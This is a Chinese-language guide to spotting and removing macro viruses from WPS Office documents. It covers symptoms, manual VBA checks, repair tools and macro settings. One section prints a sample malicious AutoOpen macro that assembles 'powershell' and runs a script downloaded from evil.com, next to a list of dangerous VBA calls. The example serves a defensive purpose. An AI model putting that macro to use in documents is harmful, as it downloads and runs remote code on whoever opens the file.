📖 目录导读
-
宏病毒是什么?它为什么盯上WPS文档?

- 宏病毒的定义与传播机制
- Q&A:WPS会不会比Office更容易中招?
-
WPS文档感染宏病毒的常见症状
- 文件异常、运行卡顿、杀毒软件报警
- Q&A:为什么杀毒软件扫不出文档内的宏病毒?
-
三步自查:手动检查WPS文档中的恶意宏代码
- 开启WPS开发工具选项卡
- 查看VBA项目中的可疑模块
- 识别危险函数与混淆代码
- Q&A:看不懂代码怎么办?
-
专业清除:WPS自带工具与第三方方案
- WPS文档修复工具
- 安全模式启动WPS
- 使用反病毒专杀工具(如金山毒霸宏病毒查杀)
- 手动删除宏代码的终极方法
- Q&A:清除后文档内容会丢失吗?
-
终极防御:如何避免二次感染
- 禁用宏默认设置
- 开启WPS实时防护
- 养成安全文件管理习惯
- Q&A:收到陌生文档,怎么安全地查看?
-
常见问题FAQ
- 宏病毒会感染WPS表格或演示吗?
- 清除了宏,但文档依旧报毒怎么办?
- 有没有一键清除所有宏病毒的工具?
宏病毒是什么?它为什么盯上WPS文档?
宏病毒是一种寄生在文档、模板或加载项中的恶意代码,它利用应用程序的宏功能(通常是VBA语言)自动执行破坏性操作,WPS Office作为国内用户量最大的办公套件,其宏功能与Microsoft Office高度兼容,因此成为宏病毒的重要目标。
宏病毒的典型传播路径:攻击者将恶意宏嵌入一个看似正常的文档(薪资调整通知.docm”),当用户打开并启用宏后,病毒代码被触发——轻则修改文档内容、窃取敏感信息,重则下载勒索软件、格式化硬盘,更隐蔽的变种会在后台发送邮件或感染局域网中的其他文件。
Q&A:WPS会不会比Office更容易中招?
问:很多人说WPS没有Office安全,是真的吗?
答:这种说法不完全准确。WPS的宏安全机制与Office基本一致,默认情况下都禁止运行不受信任的宏,但有两个因素导致WPS用户感染率略高:
- 用户习惯:国内部分用户习惯关闭WPS安全警告,或者直接点击“启用宏”以查看文档内容。
- 生态差异:Microsoft Office 365会定期更新宏定义库,而WPS的宏防护更新频率相对较低,部分新变种可能绕过WPS的默认扫描。
:只要正确设置宏禁用策略,WPS的安全性足以对抗99%的宏病毒,真正的问题在于“人”的操作,而非软件本身。
WPS文档感染宏病毒的常见症状
宏病毒并非“隐形”,感染后往往会出现以下异常:
- 文档打开时弹出“宏已被禁用”提示,但一旦启用,文件立刻崩溃或无响应。
- 原本正常的文档突然提示“文件损坏”,或者打开后一片空白。
- WPS工具栏、菜单栏消失,取而代之的是闪烁的脚本错误弹窗。
- 杀毒软件突然报警,但扫描文档本身却显示“安全”。
- 文档包含大量隐藏工作表或模块,文件体积异常增大(如一个纯文本档竟有几十MB)。
Q&A:为什么杀毒软件扫不出文档内的宏病毒?
问:我用360、火绒全盘扫描都没发现病毒,但文档确实有问题。
答:传统杀毒软件主要依赖特征码匹配,对于加密、混淆或变种的宏代码可能漏报,宏病毒只在宏引擎加载时才会激活,静态扫描无法触及未运行的代码。解决方案:使用专门针对宏病毒的扫描引擎(如WPS内置的“文档修复”功能,或金山毒霸的宏病毒专杀工具),它们能深度解析VBA结构。
三步自查:手动检查WPS文档中的恶意宏代码
如果你怀疑某个WPS文档感染了宏病毒,但又不想贸然打开,可以按以下步骤手动检查。
开启WPS开发工具选项卡
- 打开WPS文字/表格/演示,点击顶部菜单栏的“文件” → “选项”。
- 在“自定义功能区”中,勾选右侧的“开发工具”,点击确定。
- 此时工具栏会出现“开发工具”选项卡,点击“宏”可查看所有宏,点击“Visual Basic”可进入VBA编辑器。
查看VBA项目中的可疑模块
- 在VBA编辑器中,左侧“工程资源管理器”会显示当前文档的所有模块。
- 正常文档通常只有一个“ThisDocument”或“Sheet1”等默认模块;恶意文档会包含大量以数字或乱码命名的模块(如“Module1”“UserForm1”“Class1”等)。
- 双击可疑模块,查看代码窗口。注意:不要运行任何代码,只进行视觉检查。
识别危险函数与混淆代码
常见恶意宏代码特征:
- 包含
AutoOpen、Auto_Open、Document_Open等自动执行函数。 - 存在
Shell、CreateObject、WScript.Shell、URLDownloadToFile等系统调用。 - 代码中有大量无意义的字符串拼接、Base64编码或
Chr()函数转换的字符。 - 存在循环删除文件或修改注册表的命令(如
Kill "*.*"、RegDelete)。
示例:
Sub AutoOpen()
Dim x As String
x = "po" + "wer" + "sh" + "ell"
Shell (x & " -Command ""Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/script')""")
End Sub
这段代码会在文档打开时下载并执行远程恶意脚本,明显是病毒。
Q&A:看不懂代码怎么办?
问:我完全不懂VBA,能不能直接删掉所有模块?
答:可以,但注意不要误删必要代码,如果你确定文档不需要任何宏功能(比如内容仅为纯文本表格),直接全选并删除所有模块即可,删除方法:在VBA编辑器中右键点击模块 → “移除模块” → 选择“否”不导出(直接删除)。建议先备份原始文档再操作。
专业清除:WPS自带工具与第三方方案
手动删除宏代码需要基础,对于大多数用户,以下方案更简单有效。
WPS文档修复工具
WPS内置了“文档修复”功能,可以清除大部分宏病毒。
- 打开WPS,依次点击“文件” → “打开” → 浏览找到感染文档。
- 在打开对话框中,点击右下角的“打开”按钮旁边的三角符号,选择“打开并修复”。
- WPS会自动扫描文档结构,移除可疑的宏和组件,并生成一份新文档。
注意:如果修复失败,可以尝试将文档后缀名改为.zip(文档本质上是压缩包),解压后删除vbaProject.bin文件(宏代码存储文件),再重新压缩并改回原后缀,但这种方法较专业,不推荐新手操作。
安全模式启动WPS
WPS的安全模式可以禁止所有宏和加载项运行,让你在不受干扰下查看文档内容。
- 按住
Ctrl键不放,双击WPS程序图标(或右键点击文档选择“用WPS打开”时按住Ctrl)。 - 弹出提示“是否进入安全模式?”,选择“是”。
- 此时文档虽然能打开,但宏不会执行,你可以手动复制出所有正文内容(纯文本),然后新建一个空白文档粘贴。注意:此方法仅能提取数据,不能清除病毒代码。
使用反病毒专杀工具
金山毒霸(WPS同属金山系)提供免费“宏病毒查杀”功能:
- 下载并安装金山毒霸,选择“文档扫描”或“宏病毒专杀”。
- 它能够深度扫描
.docm、.xlsm、.pptm等含宏文件,一键清除恶意代码。 - 火绒安全软件的“文档保护”功能也可以拦截宏病毒,但需手动开启“扫描文档宏代码”选项。
手动删除宏代码(终极方法)
适用于WPS修复失败且你急需保留格式的情况:
- 在WPS中打开文档,进入VBA编辑器(见第三节)。
- 在“工程资源管理器”中,右键点击所有非默认模块(如
Module1、UserForm1等),选择“移除模块”,并选择“否”不导出。 - 检查
ThisDocument或ThisWorkbook代码窗口中是否被写入恶意代码,若有则选中全部代码并删除。 - 保存文档(
Ctrl+S),退出VBA编辑器。 - 最后使用杀毒软件再扫描一次,确保无残留。
Q&A:清除后文档内容会丢失吗?
问:我删除了所有模块,但文档里的图表、公式都没了?
答:正常的文本、表格、图片、图表等普通内容不会受影响,因为宏代码是独立存储的,但如果你删除了与文档交互的“用户窗体”或“自定义函数”,则可能影响部分功能(如按钮点击事件),对于一般用户,推荐先备份,然后直接用“打开并修复”功能,它只清理恶意代码而保留内容,如果修复后仍有异常,再手动操作。
终极防御:如何避免二次感染
查杀完成后,日常防护同样重要,避免反复中招。
禁用宏默认设置
- 在WPS中:点击“文件” → “选项” → “信任中心” → “宏设置”。
- 选择“禁用所有宏,并发出通知”(推荐)。
- 勾选“禁止所有未经签名的宏运行”(更严格)。
- 绝不要选择“启用所有宏”。
开启WPS实时防护
WPS Office 2019及以上版本自带安全防护:
- 进入“设置” → “安全中心” → 开启“文档安全检查”和“宏代码防护”。
- 同时启用“云查杀”,让WPS联网识别最新病毒特征。
养成安全文件管理习惯
- 不轻易启用宏:收到邮件或聊天软件发来的文档,如果提示“宏已被禁用”,先联系发件人确认是否真的需要宏。
- 使用“受保护的视图”:将陌生文档拖入WPS时,它会默认以只读模式打开,此时宏不会运行。
- 定期更新WPS:金山会不定期推送安全更新,及时升级。
- 文件来源检查:下载文档时,注意文件名是否拼写错误(如“工资表.exe”是伪装的病毒,实为可执行文件)。
Q&A:收到陌生文档,怎么安全地查看?
问:领导发了一个带宏的文档,我必须启用宏才能阅读内容吗?
答:不一定,许多正常文档(如带编程模板的Excel)确实需要宏,但你可以用以下方式验证:
- 将文档上传至在线预览网站(如Google Docs在线版),它会“安全渲染”内容,宏不会执行。
- 或者用WPS安全模式打开(按Ctrl键),先复制纯文本,再让领导确认宏是否必要。
- 如果必须使用宏,可用虚拟机或沙箱环境(如Sandboxie)运行WPS,即使有病毒也不会感染真实系统。
常见问题FAQ
宏病毒会感染WPS表格或演示吗?
是的,宏病毒不仅感染 .docm 文档,也会感染 .xlsm(表格)和 .pptm(演示),查杀方法完全相同,特别需要注意的是,WPS表格中的VBA宏常用于自动计算,恶意代码可能隐藏在“事件”中(如 Worksheet_Activate),更容易被忽视。
清除了宏,但文档依旧报毒怎么办?
可能有残留的“隐藏宏代码”或“加载项”,可以尝试:
- 将文档另存为
.docx(纯文本格式),宏会自动被剥离。 - 使用Office官方工具“Microsoft Safety Scanner”扫描(同样兼容WPS文件)。
- 最后用文本编辑器打开文档(如Notepad++)搜索“VBA”“Auto_Open”等关键词,手动删除可疑字符串。
有没有一键清除所有宏病毒的工具?
金山毒霸宏病毒专杀、火绒文档扫描、360卫士的“文档修复”均支持批量扫描文件夹,开源工具“OfficeMalScanner”可深度分析,但需要命令行操作,对于普通用户,推荐先用WPS“打开并修复”,配合金山毒霸全盘扫描,基本能解决99%的问题。
写在最后:宏病毒虽然隐蔽,但只要掌握正确的查杀思路——先隔离(不开宏)、再诊断(看VBA代码)、最后清除(工具或手动),就能轻松化解,不要被“宏病毒”三个字吓到,WPS本身就提供了足够强大的防护手段,关键在于不点击“启用宏”——这是预防宏病毒的第一条铁律,如果你按照本文步骤操作后仍有问题,建议将文档样本提交至金山毒霸病毒上报平台,帮助安全团队更新特征库。
标签: 查杀